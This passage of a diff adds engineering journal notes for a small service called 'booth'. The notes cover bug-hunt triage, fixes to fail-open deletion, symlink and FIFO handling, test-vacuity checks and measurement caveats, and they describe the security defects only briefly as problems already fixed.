condition in one function.
|
||||
|
||||
**Only the MULTI case is checked**, because only the multi case indexes: a
|
||||
single-question pick's answer IS the record, with no `answers` key to get wrong.
|
||||
Requiring one unconditionally would break every single pick — the direction a
|
||||
too-eager guard fails in, and it has its own test.
|
||||
|
||||
Measured before and after, on the gallery booth (no `index.html`):
|
||||
|
||||
before /b/g/ 500 /b/g/marks 500 / 200 /healthz 200
|
||||
after /b/g/ 200 /b/g/marks 200 / 200 /healthz 200
|
||||
and the error is VISIBLE on the page, and the booth's
|
||||
OTHER, healthy pick still renders
|
||||
|
||||
**Two things fell out of it that are worth more than the fix.**
|
||||
|
||||
1. **`_safe_fragments` lost its natural trigger.** Probed every wrong answer
|
||||
shape reachable from a `.marks.json`: `answers` as a list, a string or null
|
||||
all become hydration errors now, and a wrong-typed VALUE inside `answers`
|
||||
renders without raising because Jinja absorbs attribute access on a
|
||||
non-mapping. So U3's guard is now a pure backstop with **no reachable
|
||||
natural input**. Its test was rewritten to a synthetic trigger that says so —
|
||||
patching the shared macro module through `app.state.templates` — rather than
|
||||
left asserting a path nothing reaches. An untested guard and a guard tested
|
||||
by an unreachable input are the same thing.
|
||||
|
||||
2. **The guard's own handler could not survive the failure it was handling.**
|
||||
Building that falsifier tripped it: `_safe_fragments` caught a raising
|
||||
`_pick_fragments` and then rebuilt the broken-ask box **through the same
|
||||
macro module that had just raised**, so when `whole` itself was broken the
|
||||
handler re-raised and took the whole report. Fixed, with its own test. Found
|
||||
by accident, which is the usual way.
|
||||
|
||||
Both new falsifiers were **verified RED against their defeating change** rather
|
||||
than assumed — the discipline from [[2026-09-22-vacuous-falsifiers]], applied to
|
||||
the fix for the entry that names it.
|
||||
@@ -0,0 +1,79 @@
|
||||
# The U2 bug-hunt panel — full triage
|
||||
|
||||
**Date:** 2026-09-22 · **Thread:** `01M33XEC1H0298C0D968FWBN7A` ·
|
||||
**Reply:** `01M33YZZ1VYGZ04JGNXNTBXDKS` · **Shipped as:** `v0.2.2`
|
||||
|
||||
`/heid-bug-hunt` on U2's diff (+2251/−632, 20 sections, 18 post-change
|
||||
snapshots). Four arms — Gróa (Grok), Hulda (Codex), Regin (GLM-5.2), Kimi
|
||||
(kimi-k3) — artifact-only, 4/4 clean transport. Heid adjudicated **9 findings
|
||||
(6 bug / 3 robustness)**. Staleness was disclosed at build: `app.py` was edited
|
||||
after the 06:38:52Z capture.
|
||||
|
||||
## Triage, five-category
|
||||
|
||||
### Category 1 — genuine add (8 taken, all shipped)
|
||||
|
||||
| # | finding | where | why it was real |
|
||||
|---|---|---|---|
|
||||
| 1 | Lock-inode split on the no-op unlink (**4/4 convergent**) | `marks._Locked` | `flock` binds to an inode; unlinking under a waiter destroys mutual exclusion silently |
|
||||
| 2 | No-op lock churn resets the TTL via **directory** mtime | `marks._Locked` + `app._newest_mtime` | the guard's own comment reasons about the lock FILE's mtime; the directory is what the sweeper reads |
|
||||
| 3 | Non-string `text` / `created` raise out of the read path | `marks._clean_text`, `marks_for` sort | `list_booths` reads every booth per page load → one bad file 500s `/` and `/healthz` |
|
||||
| 4 | Legacy import stamped `created` at whole-second resolution | `marks.import_legacy_asks` | same-second sidecars re-sorted alphabetically, reversing the order the importer had just set — violates the stated `(mtime, name)` rule |
|
||||
| 5 | `/answer` 500s on a non-string `notes` form value | `app.booth_answer` | the sibling `/note` guards it; same parser, same class of value, two answers |
|
||||
| 6 | All five mark-write routes hold a blocking `flock` on the event loop | `app.py` | a contended lock freezes every route, not just the one request |
|
||||
| 7 | CLI conflates a reader crash with "open" / "unanswered" | `scripts/booth` | `marks` printed a traceback and exited 0; `answer --wait` spun the full hour on a damaged file |
|
||||
| 8 | The inline-doc tile had `markcontrols` and not `marknotes` | `booth.html` | flag a report, cannot say why — on the one item kind that is prose |
|
||||
|
||||
Two more taken on the same sweep, found while fixing the above rather than by
|
||||
the panel: a broken mark of any shape now renders **⚠ broken** instead of as an
|
||||
empty note (the rule `_hydrate` states for picks, applied to all three shapes),
|
||||
and the marks panel is no longer suppressed on a booth that carries a
|
||||
`links.md` *and* has marks.
|
||||
|
||||
### Category 3 — restatement of a settled prior (1, no change)
|
||||
|
||||
**Corrupt read → filtered writeback → silent deletion** (hulda F2, kimi F3,
|
||||
gróa F4; Heid ranked it #3). **Already fixed in `v0.2.1`** by
|
||||
`_read_raw_strict` + `MarksCorrupt` — reads lenient, writes strict. The panel
|
||||
reviewed the pre-fix capture and the staleness was disclosed up front. Verified
|
||||
against the current source before declining, not assumed.
|
||||
|
||||
This is the exact case the cross-frontier triage discipline warns about: a
|
||||
confident, well-argued, four-arm-corroborated finding against code that no
|
||||
longer exists. **Check what the peer actually read before treating an omission
|
||||
or a defect claim as new.**
|
||||
|
||||
### Category 4 — out of place, parked (2)
|
||||
|
||||
- **Note-id recycling** (`note-1` reused after a withdrawal) lets a stale tab
|
||||
delete a newer note. Real mechanism; needs two tabs and an interleaving, and
|
||||
the Booth has one viewer. Non-reused ids are a schema change, not a patch.
|
||||
- **Unvalidated flag / note targets** accumulate orphan marks. Targets come
|
||||
from rendered items; the operator is the only writer through the browser.
|
||||
|
||||
### Category 5 — wrong-grounding (1)
|
||||
|
||||
**`delete_mark` can remove a pick, not only a note.** Framed as an
|
||||
access-control divergence. There is no auth by design, and restricting it would
|
||||
remove the only way to withdraw a pick that hydrates broken. Declined; the
|
||||
docstring is the thing that was imprecise, not the behaviour.
|
||||
|
||||
## What the round is worth remembering for
|
||||
|
||||
1. **The two review gates stayed complementary a second time.** The contract
|
||||
panel (2026-09-21) found three defects; this bug-hunt found eight more, with
|
||||
**no overlap**. Both ran on the same unit. Neither substitutes.
|
||||
2. **The panel beat the code's own comments three times.** The bundle's comments
|
||||
are unusually honest and still wrong about what protected the TTL, and
|
||||
"written atomically" sat next to a filter-then-replace. **A comment is a
|
||||
claim, and a claim can be tested.**
|
||||
3. **The headline bug class shipped with zero guard coverage, and both mutation
|
||||
tables said so.** `test_a_no_op_write_does_not_touch_the_booth` asserted only
|
||||
that `.marks.json` was absent — so removing the lock unlink, removing the
|
||||
whole lock lifecycle, or bumping the directory clock all **SURVIVED** it. The
|
||||
test asserted an artifact of the property instead of the property. The
|
||||
replacement asserts `booth_age_seconds` directly, with a positive control (a
|
||||
real mark still resets the clock) so the fix cannot overshoot into "marking
|
||||
is never activity".
|
||||
4. **`scripts/booth` had no tests at all** and two findings lived there. It has
|
||||
five now, running the real script under the system `python3`.
|
||||
@@ -0,0 +1,14 @@
|
||||
# `booth marks` / `booth answer` got real exit codes
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**`booth marks` / `booth answer` got real exit codes**, because
|
||||
a read that CRASHED was indistinguishable from a read that said no. `marks`
|
||||
printed a traceback and exited 0 (a caller's `jq` saw success and got
|
||||
nothing); `answer --wait` read a damaged file as "not yet" and spun for the
|
||||
full hour before blaming the operator. Now `0 ok · 1 unanswered/timed-out ·
|
||||
2 no such pick · 3 unreadable`, and `read_error()` was added to `marks.py` so
|
||||
the CLI can ask the question the browser must not: the page stays lenient, the
|
||||
machine consumer gets the truth. Also `--wait` now prints ONCE — it was
|
||||
emitting a whole JSON document per poll, so a captured `--wait` held several
|
||||
concatenated values and parsed as none of them.
|
||||
@@ -0,0 +1,13 @@
|
||||
# An existing test stopped me retiring documented behaviour
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**An existing test stopped me retiring documented behaviour
|
||||
while fixing a race.** The mtime-restore race is real, and the clean fix —
|
||||
ignoring a booth directory's own mtime whenever the booth holds anything —
|
||||
would also have silently retired the rule that RELEASING a kept board resets
|
||||
its clock, which the CLI header, the README and a deliberately-written test
|
||||
all pin. That is a TTL doctrine change, not a bug fix. Fixed the concrete half
|
||||
(a failing `os.utime` used to escape and 500 the route), left the race stated
|
||||
in the code. **A fix that changes a documented rule is a proposal, not a
|
||||
patch.**
|
||||
@@ -0,0 +1,44 @@
|
||||
# The `.forever` diagnosis got a live positive control
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
The U4 diagnosis was that `.forever` is the only way to say three different
|
||||
things — "this is durable", "I have not answered yet", "I am still looking" —
|
||||
and that only the first is what keep means. That was an argument. **On
|
||||
2026-09-22 it stopped being one.**
|
||||
|
||||
Census of `~/booth-data`, whole population, every value a deterministic file
|
||||
fact:
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| live booths | 24 |
|
||||
| carrying `.forever` | 17 (70%, up from 54% on 2026-09-21) |
|
||||
| carrying `.marks.json` at all | 4 |
|
||||
| of those, with an open pick | **4 of 4** |
|
||||
| **open pick AND `.forever`** | **3** |
|
||||
|
||||
**Three of the four booths in the entire fleet that were waiting on an answer
|
||||
had also been pinned by hand.** That is the "not yet" case caught in the act,
|
||||
not inferred from a rate.
|
||||
|
||||
The staleness distribution says it from the other side: **10 of the 17 kept
|
||||
booths were under one day old** — younger than the TTL, so the sentinel had
|
||||
bought them nothing and was pressed pre-emptively. Only 4 were old enough
|
||||
(2.4-4.6 days) that keep is the reason they still existed.
|
||||
|
||||
⚠ **A number I got wrong, caught by a cross-frontier arm, kept here because the
|
||||
class repeats.** The contract first said "12 are under 1.5 days old — younger
|
||||
than the TTL". The TTL is 24 hours. 1.5 days is not younger than 24 hours. The
|
||||
measurement was sound and the sentence was not; the claim only holds at the
|
||||
one-day line, where it is 10 rather than 12. Nobody on the Claude side caught
|
||||
it, including the author twice.
|
||||
|
||||
⚠ **The hold's live blast radius is SMALL** — only 4 booths have marks at all —
|
||||
so the `.forever` re-count prediction rests on BOTH halves of U4 and on the
|
||||
sentinel becoming unnecessary rather than forbidden. **RE-COUNT A FORTNIGHT
|
||||
AFTER U4 LANDS**, i.e. on or after **2026-10-06**. If the rate does not move,
|
||||
the honest readings are "the diagnosis was wrong" OR "the habit outlived the
|
||||
need", and a bare re-count cannot tell those apart. **The three
|
||||
open-pick-plus-`.forever` booths are the ones to watch**, because for them the
|
||||
mechanism is now unambiguous.
|
||||
@@ -0,0 +1,57 @@
|
||||
# Four independent paths to one fail-open delete
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
The U4 bug-hunt panel declared invariant was **"a deletion decision must never
|
||||
be made from a read that failed"**. The panel found **four independent paths
|
||||
through it, and no single arm found all four.** That is the strongest argument
|
||||
yet for running the panel rather than one arm.
|
||||
|
||||
1. **An entry-level hydration error lost its hold** (the round's best finding).
|
||||
`.marks.json` parses; one mark fails normalization; `_hydrate_safe` returns a
|
||||
`Mark` carrying `error`; `_is_open` returns False for an errored pick — **on
|
||||
purpose**, because a broken pick can never be answered. So the booth read as
|
||||
not-held and **swept**, while the panel beside it rendered the broken mark in
|
||||
full. The fail-safe had been built for FILE-level damage and missed
|
||||
ENTRY-level. A mark we cannot read is judgment we cannot see; deleting the
|
||||
booth it belongs to is the one thing we must not do with it.
|
||||
2. **A present-but-blank `.marks.json` swept.** `_read_raw_strict` early-returns
|
||||
for whitespace-only content — correct for the WRITE path it was written for
|
||||
(a blank file is safe to overwrite), wrong for the DELETE path. Fixed with a
|
||||
`blank_is_corrupt=True` flag used only by `hold_read`. ⚠ The near-regression
|
||||
worth remembering: a **valid document with an empty `marks` list** is what
|
||||
deleting the last mark leaves behind, and holding on THAT would make every
|
||||
finished booth immortal. Blank bytes are damage; an empty list is an answer.
|
||||
3. **`_newest_mtime` returned 0.0 when the booth's own stat failed**, which made
|
||||
it maximally ancient and therefore the FIRST thing the sweeper takes — a
|
||||
permissions problem resolving to a deletion. Now returns `now`: not knowing a
|
||||
booth's age is a reason to leave it alone. ⚠ Per-entry `FileNotFoundError`
|
||||
stays a skip, because a dangling symlink raises it and has no mtime worth
|
||||
counting; only OTHER stat errors mean "something is here we cannot read".
|
||||
4. **`is_kept` collapsed a stat failure into not-kept.** `Path.exists()` maps
|
||||
ELOOP and EACCES to False. Now `lstat`, with any non-ENOENT error reading as
|
||||
KEPT, and a `.forever` symlink counting dangling or not.
|
||||
|
||||
**`is_held` was replaced by `hold_reason`, which returns the REASON** —
|
||||
`"open"`, `"unreadable"`, or None — rather than a bool beside a separate error
|
||||
string. Two representations of one state drift; Regin independently flagged that
|
||||
the display could not tell the two holds apart. One value, read by the sweeper
|
||||
and by all four rendering surfaces.
|
||||
|
||||
**Convergent 3-of-4, and the one with teeth beyond lifetime:** `record_view`
|
||||
used `Path.touch()`, which FOLLOWS an existing symlink. A booth carrying a
|
||||
planted `.viewed -> /anywhere` turned every page view into an mtime write at an
|
||||
arbitrary path under the service uid — and **any fleet session can write into a
|
||||
booth, because making a folder is the whole API.** Now `os.open(..., O_NOFOLLOW)`
|
||||
plus `os.utime(fd)`; a planted link raises ELOOP into the existing swallow.
|
||||
|
||||
⚠ **THE CAPTURE TOOLING FAILED SILENTLY AND THE PEER CAUGHT IT, NOT US.** The
|
||||
snapshot `files/` tree shipped to the arms was EMPTY. The loop was
|
||||
`for f in $IN` over a multi-line variable — and **zsh does not word-split
|
||||
unquoted parameter expansions the way bash does**, so it iterated once against a
|
||||
path that was the entire list. jekyll recovered by re-applying the bundled diff
|
||||
to HEAD and verified every file byte-identical, so the round was sound. **The
|
||||
failure mode is the dangerous one: an empty bundle reads exactly like a clean
|
||||
result.** Quote-and-split explicitly (`print -r -- $IN | while read f`) or build
|
||||
the list as a real array. Same family as `[[2026-09-22-vacuous-falsifiers]]` —
|
||||
an instrument that cannot fail loudly will fail quietly.
|
||||
@@ -0,0 +1,15 @@
|
||||
# The lenient reader's blast radius was the whole service
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The lenient reader's blast radius was the whole service, not
|
||||
one booth.** `_clean_text` did `(text or "").replace(...)` and `marks_for`
|
||||
sorts on `(created, id)`, so a stored `text` that was a dict or a `created`
|
||||
that was a number raised out of the READ path — and `list_booths` reads every
|
||||
booth's marks on every index load. One hand-edited file 500'd `/` and
|
||||
`/healthz` for all 25 booths. Fixed in two layers, matching the house posture:
|
||||
a named type check (`_entry_type_error`) plus a `_hydrate_safe` backstop that
|
||||
cannot raise, and the panel now RENDERS an unreadable mark as ⚠ broken instead
|
||||
of as an empty note. **The general shape: a lenient reader is only lenient if
|
||||
the leniency is bounded by where it runs.** `marks_for` was written for one
|
||||
booth's page and is called in a loop over every booth.
|
||||
@@ -0,0 +1,54 @@
|
||||
# No fleetwide notice for U4 — and what that does to the prediction
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Operator decision, 2026-09-22: do NOT tell the 17 consuming handles that
|
||||
`keep` has stopped being the way to say "waiting on an answer".** No broadcast.
|
||||
Same posture he took on U5, and the same instrument: adoption gets told apart
|
||||
from design because nobody was primed.
|
||||
|
||||
⚠ **THIS CHANGES HOW THE 2026-10-06 RE-COUNT MUST BE READ, and a session that
|
||||
misses this will draw the wrong conclusion from a true number.**
|
||||
|
||||
U4 has two halves and they do NOT have the same adoption cost:
|
||||
|
||||
- **The hold rides for free.** A session that runs `booth ask` gets its booth
|
||||
held with no knowledge of anything. The operator answering releases it. No
|
||||
peer has to learn a thing for the mechanism to work.
|
||||
- **NOT PRESSING `keep` HAS TO BE LEARNED.** U4 makes the sentinel unnecessary
|
||||
for the "not yet" case; it does not make it unavailable, and nothing stops a
|
||||
habit. An agent that has always pressed `keep` while waiting will keep
|
||||
pressing it.
|
||||
|
||||
**So a flat `.forever` rate on 2026-10-06 does NOT falsify the diagnosis.** It
|
||||
is exactly what "the mechanism works and nobody was told" looks like — the U5
|
||||
shape, one unit later. Reporting a null result without this caveat would retire
|
||||
a correct diagnosis on the strength of an uncontrolled measurement.
|
||||
|
||||
**Use these instead, and report all three.** The raw rate stays as context, not
|
||||
as the verdict:
|
||||
|
||||
1. **The overlap — booths with an open pick AND `.forever`.** Was **3** on
|
||||
2026-09-22, which is the positive control for the whole diagnosis. It falls
|
||||
only if peers learn; it is the *adoption* number.
|
||||
|
||||
comm -12 <(grep -l '"shape": "pick"' ~/booth-data/*/.marks.json | xargs -n1 dirname | sort) \
|
||||
<(dirname ~/booth-data/*/.forever | sort) | wc -l
|
||||
|
||||
2. **Did the hold ever bind?** Count booths that were held past their TTL and
|
||||
therefore survived a sweep they would otherwise have lost. This needs no
|
||||
peer to change anything, so it is the honest test of whether the mechanism
|
||||
is load-bearing at all. **If it is ZERO over a fortnight, the diagnosis was
|
||||
wrong about VOLUME** — the "not yet" case is rarer than the sentinel rate
|
||||
suggested — and that is a real finding. The sweeper logs what it wipes;
|
||||
nothing yet logs what it spares, so **this counter does not exist and would
|
||||
have to be added before it can be read.** Say so rather than guessing.
|
||||
3. **The raw `.forever` rate** — 17 of 24 (70%) on 2026-09-22. Context only,
|
||||
now that the no-notice decision has made it a measurement of habit rather
|
||||
than of need.
|
||||
|
||||
⚠ **Sensitivity floor, stated because a bare "no effect" is unfalsifiable:**
|
||||
only **4 of 24** booths carried marks at all on 2026-09-22. The hold cannot
|
||||
bind on a booth with no marks, so at that population the mechanism can touch at
|
||||
most a sixth of the fleet, and an effect smaller than one or two booths is not
|
||||
resolvable by any of these counts. Related: `[[2026-09-22-forever-had-a-live-positive-control]]`.
|
||||
@@ -0,0 +1,39 @@
|
||||
# The 69% link-board rot was two defects wearing one number
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**Re-measuring the board before writing U6's contract split its headline number
|
||||
in half, and the half U6 owns is the smaller one.** The IA doc records *211
|
||||
rows, 145 (69%) pointing at booths that no longer exist*. Re-counted on
|
||||
2026-09-22 the board was 221 rows — and the split nobody had taken before:
|
||||
|
||||
| | count | share |
|
||||
|---|---|---|
|
||||
| rows that are booth URLs | **178** | 80% of the board |
|
||||
| …whose booth is already swept | **156** | **71% of the whole board** |
|
||||
| rows that are NOT booth URLs | 43 | 19% |
|
||||
| …distinct after full-URL normalization | 35 | |
|
||||
| …collapsed by the re-post problem U6 names | **8 rows** | |
|
||||
|
||||
So the 69% is:
|
||||
|
||||
1. **Booth-announcement rot — 178 rows.** A session posted a booth URL because
|
||||
a booth could not announce itself. **U5 already closed the cause.** Nothing
|
||||
stopped the habit, so the board took 11 more of these in the day after it was
|
||||
first measured.
|
||||
2. **Bench re-post — 8 rows.** An append log with no identity. This is the part
|
||||
the registry fixes, and it is an order of magnitude smaller.
|
||||
|
||||
**The third thing, which the IA doc does not describe at all:** of the 35
|
||||
distinct non-booth targets, roughly **14 are running services (benches)** and
|
||||
roughly **14 are reference bookmarks** — gitea repos, HuggingFace model cards, a
|
||||
vLLM recipe, a Headscale page — with the rest ephemeral one-shot links. The IA
|
||||
doc planned for `booth link` to survive "as a deprecated alias". That would have
|
||||
evicted a third of the board's live content from the only home it has. **U6 does
|
||||
not deprecate `booth link`**; it removes exactly one shape from it.
|
||||
|
||||
**Why this is worth keeping.** The single 69% figure implies the registry is the
|
||||
big win. It is not — the enforced rule and the dead marker are. A unit scoped
|
||||
off the unsplit number would have built the registry, declared victory, and left
|
||||
178 rows rotting. Re-measure before contracting; the number in the design doc is
|
||||
a day old the moment it is written.
|
||||
@@ -0,0 +1,49 @@
|
||||
# The operator ruled on all five open items at once
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**"accept all recs, or make good ones, write it to handoff so I can clear."** A
|
||||
blanket ratification. Four of the five executed; one was stopped by the
|
||||
permission layer and is recorded rather than worked around.
|
||||
|
||||
| # | item | ruling | state |
|
||||
|---|---|---|---|
|
||||
| 1 | Drop subfolder sections for filename-prefix groups | **APPROVED** | **not yet built** — the next session's first job |
|
||||
| 2 | What `unanswered` filters on | **open pick** (the shipped reading) | settled; the other reading parked to v1.1 |
|
||||
| 3 | Push `main` | **PUSH** | **DONE** — 16 commits + `v0.6.0` + `v0.6.1` now on `origin` |
|
||||
| 4 | The 17-handle althing note | send it | **BLOCKED** — see below |
|
||||
| 5 | Marks guard placement | **stays at `_hydrate`** | already there; nothing to do |
|
||||
|
||||
## Two things the blanket ruling did NOT cover, and why
|
||||
|
||||
**The broadcast was blocked by the auto-mode classifier, and that was right.**
|
||||
CLAUDE.md gates any multi-recipient althing send on *explicit* operator
|
||||
approval — "ask, then send, never send and report" — because the cost is
|
||||
multiplied by the recipient count and paid out of budgets the sender never
|
||||
sees. A blanket "accept all recs" ratifies the note's **content**; it is not the
|
||||
specific, informed broadcast approval that rule asks for. The classifier agreed
|
||||
and **it was not worked around**. Draft, rationale and the 17-name recipient
|
||||
list live at `docs/pending/fleet-note-booth-link-refusal.md` so they survive a
|
||||
context clear; it needs his explicit go or a `postbox send` permission rule.
|
||||
|
||||
**"No seeding yet" survives the blanket ruling**, because it was a SPECIFIC
|
||||
prior instruction rather than a recommendation of this session's. A blanket
|
||||
acceptance of recommendations does not overwrite a direct instruction pointing
|
||||
the other way. `.benches.json` still does not exist in `~/booth-data`.
|
||||
|
||||
## The push, recorded because it is a first
|
||||
|
||||
`main` was **16 commits ahead** with two release tags unpushed and the whole of
|
||||
U6 single-copy on one box. Pushed with `--follow-tags`, then the two tags
|
||||
explicitly — `--follow-tags` pushed neither, because both tags are LIGHTWEIGHT
|
||||
per the SemVer policy and that flag only carries annotated ones. Worth knowing:
|
||||
**a lightweight release tag needs its own `git push origin <tag>`.**
|
||||
|
||||
## The trap this leaves behind, and it is a real one
|
||||
|
||||
`tests/test_navigation.py::test_no_group_rail_is_shipped_yet` was written to
|
||||
**stop an unapproved group rail from arriving by accident**. The rail is now
|
||||
approved, so that test has inverted: it will block the correct work and read
|
||||
like a genuine invariant while doing it. **Whoever builds the group rail must
|
||||
delete it in the same commit.** A guard that outlives its reason is worse than
|
||||
no guard, because the next reader trusts it.
|
||||
@@ -0,0 +1,11 @@
|
||||
# `scripts/booth` went from zero tests to five
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**`scripts/booth` had zero tests and now has five**
|
||||
(`tests/test_cli.py`). The panel's guard-strength tables returned UNVERIFIED
|
||||
for every CLI claim because nothing in the suite executed the script — two of
|
||||
the round's findings lived in exactly that gap. The new tests run the real
|
||||
script under the system `python3`, which makes them a live check on INV-1
|
||||
(stdlib-only) as a side effect: a third-party import in `marks.py` now fails
|
||||
in the suite the same way it would fail on a fleet host.
|
||||
@@ -0,0 +1,87 @@
|
||||
# A vacuity pass that tries the contract's own mutation agrees with itself
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
The contract-time **vacuity pass** — for each invariant, name a change that
|
||||
defeats it and check the named test goes red — was proposed independently by
|
||||
Regin and Kimi on U4's paraphrase round, and U4's own code-review panel then
|
||||
showed **five of seven** U4 falsifiers were vacuous: a green test *cited* by an
|
||||
`INV` rather than a test that would *fail* if the invariant broke. See
|
||||
[[2026-09-22-vacuous-falsifiers]].
|
||||
|
||||
U3 ran the pass as a real instrument rather than a promise. Script in the
|
||||
session scratchpad; for each invariant it applies the mutation the contract's
|
||||
*Falsifiable:* line names, runs the single named test, and asserts a **non-zero**
|
||||
exit, restoring the file in a `finally` either way.
|
||||
|
||||
| INV | mutation applied | verdict |
|
||||
|---|---|---|
|
||||
| 1 declaring page untouched | append `<!-- booth -->` to the declaring branch | FALSIFIED |
|
||||
| 2 appended, never inserted | insert the tag before `<title>` instead | FALSIFIED |
|
||||
| 3 no regex on author HTML | re-declare `_ICON_RE` in `app.py` | FALSIFIED |
|
||||
| 4 openness is the server's | have `embed.js` derive open from `bk-done` | FALSIFIED |
|
||||
| 5 embed.js read once | `read_text()` per request in the route | FALSIFIED |
|
||||
| 6 tail in payload order | iterate the marks list backwards | FALSIFIED |
|
||||
| 7 unplaced questions appended | short-circuit the append branch to `if (false)` | FALSIFIED |
|
||||
|
||||
**7/7**, and — the part that makes it a measurement rather than a ritual — an
|
||||
**unmutated control run** confirming all seven named tests are green when
|
||||
nothing is broken. Without that control, a script whose mutation silently failed
|
||||
to apply (the text not found, the wrong file) reports the same clean-looking
|
||||
table. The script halts with `MUTATION-MISS` if its target string is absent,
|
||||
for exactly that reason.
|
||||
|
||||
## Why it is worth the ten minutes
|
||||
|
||||
Three of the seven falsifiers are in `embed.js`, which the Python suite cannot
|
||||
see at all. INV-4, INV-6 and INV-7 are held **only** by browser tests, and
|
||||
"there is a browser test named after this invariant" is precisely the kind of
|
||||
claim that feels like coverage and can be empty. Two of those three mutations
|
||||
are one-token edits — `marks.length - 1` and `if (false)` — so the cost of
|
||||
checking was minutes and the cost of being wrong was an invariant nobody was
|
||||
holding.
|
||||
|
||||
**The general shape:** an instrument that cannot fail loudly will fail quietly.
|
||||
Same family as the `(gasp)` tag-detection specimen in the global measurement
|
||||
rule, and as the zsh word-splitting bug that shipped an empty heid bundle —
|
||||
[[2026-09-22-four-paths-to-one-fail-open-delete]]. A clean result and a broken
|
||||
method are indistinguishable from the output alone unless something in the
|
||||
method is designed to go red.
|
||||
|
||||
## ⚠ AND THEN THE COLD PANEL SHOWED ONE OF THE SEVEN WAS VACUOUS ANYWAY
|
||||
|
||||
The table above is real and it was **not sufficient**. The `/heid-contract-review`
|
||||
panel (`01M351WKV666D681SSRNY7D7X6`) — three of four arms, independently —
|
||||
showed **INV-3's falsifier was vacuous**, on this contract's central promise, and
|
||||
the pass above had passed it.
|
||||
|
||||
**Why the pass missed it.** INV-3 claims *no regular expression is applied to
|
||||
author HTML*. The test name-matched the six DELETED patterns. The mutation the
|
||||
pass applied was re-declaring `_ICON_RE` — **the pattern the contract named** —
|
||||
which the name-match caught. The mutation the invariant actually forbids is a
|
||||
regex under a *new* name (`_TAIL_RE.sub(...)` in the verbatim branch), and that
|
||||
sailed through green.
|
||||
|
||||
> **The mutation has to come from the INVARIANT'S CLAIM, not from the
|
||||
> FALSIFIER'S EXAMPLE.** A pass that applies the contract's own suggested
|
||||
> mutation is testing the contract against itself, and it will agree.
|
||||
|
||||
**Then the fix had a hole too, and only a re-run found it.** The repaired test
|
||||
asserts `booth/app.py` performs exactly one regex operation. Re-running the pass
|
||||
*against the fix* showed an aliased `import re as _r` routes around the call
|
||||
check under a name it does not know — still VACUOUS. Closed with an import-shape
|
||||
assertion. **Run the pass on the repair, not only on the draft.**
|
||||
|
||||
Final state: **10/10 falsifiable**, control green, the two extra rows being the
|
||||
panel's own findings turned into falsifiers.
|
||||
|
||||
## What this is evidence for
|
||||
|
||||
U4 measured the problem (five of seven vacuous). U3 measured a pass working
|
||||
(7/7), then measured **the pass's own blind spot**, then measured the fix's
|
||||
blind spot. All three belong in the case if the vacuity-pass proposal is ever
|
||||
put to the operator as a `/heid*` skill amendment — and the second and third
|
||||
are the parts that stop it being adopted as a ritual that always passes.
|
||||
|
||||
Related: [[2026-09-22-u3-declared-embed-seam-landed]],
|
||||
[[2026-09-22-the-browser-became-a-test-surface]].
|
||||
@@ -0,0 +1,23 @@
|
||||
# The size cap opened a service-wide hang
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
**The U5 bug-hunt panel found a service-wide hang that the
|
||||
SIZE CAP ITSELF opened — two hours after I added the cap.** `stat` reports
|
||||
size 0 for a FIFO and 0 for a symlink to `/dev/zero`, so both sail under a
|
||||
byte cap and then `read_text` blocks with no EOF or allocates until the kernel
|
||||
intervenes. `list_booths` reads every booth on every `GET /`, so ONE such file
|
||||
stalls the front page for the whole service with no error and no recovery
|
||||
short of a restart. Reproduced (`timeout` returned 124), fixed with an
|
||||
`S_ISREG` check BEFORE the size check in both modules, verified live: the
|
||||
index answered 200 in 36 ms with two FIFOs planted. **The reusable shape:
|
||||
`st_size` answers a different question than "can this be read", and a bound
|
||||
that trusts it inherits everything it does not mean — a hardening fix opened
|
||||
a worse hole than the one it closed.** Also adopted: the upload path wrote the
|
||||
manifest ABOVE its own cleanup guard (4/4), so a failure orphaned a half-booth
|
||||
whose uniquely-named leaked temp then kept it alive forever; replace-over-
|
||||
damaged destroyed recoverable bytes (4/4, now QUARANTINED rather than refused
|
||||
— marks refuse because judgment is not restatable, a booth's description is);
|
||||
and `booth answer` spelled out its own openness test, disagreeing with
|
||||
`booth marks` about a partially-answered pick, which is a direct violation of
|
||||
U2's INV-2. Full triage in `persistent-memory.d/2026-09-22-u5-panels.md`.
|
||||
@@ -0,0 +1,76 @@
|
||||
# The browser became a test surface, and the version bound is the foot-gun
|
||||
|
||||
_2026-09-22 · booth_
|
||||
|
||||
U3 moved load-bearing logic out of Python and into JavaScript: which fragment
|
||||
lands at which anchor, what gets appended, and whether a `<form>` scattered down
|
||||
a report still owns the controls pointing at it. **The Python suite is blind to
|
||||
every one of those.** Shipping U3 with only payload-shape tests would have
|
||||
deleted ~10 real tests and replaced them with assertions that cannot see the
|
||||
thing the operator actually depends on.
|
||||
|
||||
So `tests/test_embed_browser.py` drives a real Chromium against a real uvicorn
|
||||
on an ephemeral port. 12 tests. It found nothing on the first run — but the
|
||||
probe that preceded it settled a design question no amount of spec-reading
|
||||
would have.
|
||||
|
||||
## The probe, and why it had controls
|
||||
|
||||
**Question:** if a control carrying `form="F"` is inserted into the DOM *before*
|
||||
`<form id="F">` exists, does it become that form's control? The HTML spec resets
|
||||
form owner on insertion and on the `form` attribute changing — it does NOT list
|
||||
"a matching form was inserted later". The U3 design inserts fragments in visual
|
||||
order, so this happens routinely.
|
||||
|
||||
Four conditions, N=3 each, in Chromium 151 headless:
|
||||
|
||||
| condition | `input.form?.id` |
|
||||
|---|---|
|
||||
| A — form inserted first (**positive control**) | `F, F, F` |
|
||||
| B — control inserted first (**the question**) | `F, F, F` |
|
||||
| C — `form="NOPE"`, no such form (**negative control**) | `null, null, null` |
|
||||
| D — remove and re-set the attribute (the proposed fix) | `F, F, F` |
|
||||
|
||||
The positive control proves the instrument can see association at all; the
|
||||
negative proves it is not manufacturing it. Without both, B's answer means
|
||||
nothing — that is the whole lesson of
|
||||
[[2026-09-22-vacuous-falsifiers]] applied before the code instead of after.
|
||||
|
||||
